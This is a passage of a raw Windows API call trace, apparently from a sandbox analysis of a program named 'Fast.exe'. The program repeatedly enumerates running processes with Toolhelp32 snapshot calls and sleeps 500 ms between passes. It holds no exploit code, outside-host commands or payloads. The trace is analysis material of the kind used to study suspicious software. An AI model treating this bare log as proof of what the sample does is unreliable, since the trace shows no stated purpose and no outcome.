szExeFile="svchost.exe")) returned 1 [0277.158] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.159] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.160] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.161] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.162] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.162] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.163] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.164] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.165] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.165] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.166] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0277.167] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0277.168] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0277.169] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0277.169] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.170] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.171] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.172] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0277.173] CloseHandle (hObject=0x208) returned 1 [0277.174] Sleep (dwMilliseconds=0x1f4) [0277.939] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0277.942] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.943] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.944] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.945] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.946] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.947] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.948] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.949] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.950] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.951] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0277.952] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.952] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.953] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.958] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.959] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.960] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.961] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.961] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.962] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.963] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.964] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.965] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.966] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.967] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0277.968] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0277.969] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0277.970] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0277.971] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.972] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.973] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.974] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0277.975] CloseHandle (hObject=0x208) returned 1 [0277.975] Sleep (dwMilliseconds=0x1f4) [0278.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0278.566] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.567] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.568] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.569] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.569] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.570] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.571] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.572] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.573] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.573] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0278.574] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.575] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.576] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.576] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.577] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.579] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.579] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.580] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.581] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.582] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.582] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0278.583] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.584] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.585] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0278.586] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0278.586] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0278.587] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0278.588] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.589] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0278.589] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.590] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0278.591] CloseHandle (hObject=0x208) returned 1 [0278.591] Sleep (dwMilliseconds=0x1f4) [0279.206] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0279.210] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.211] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.212] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, 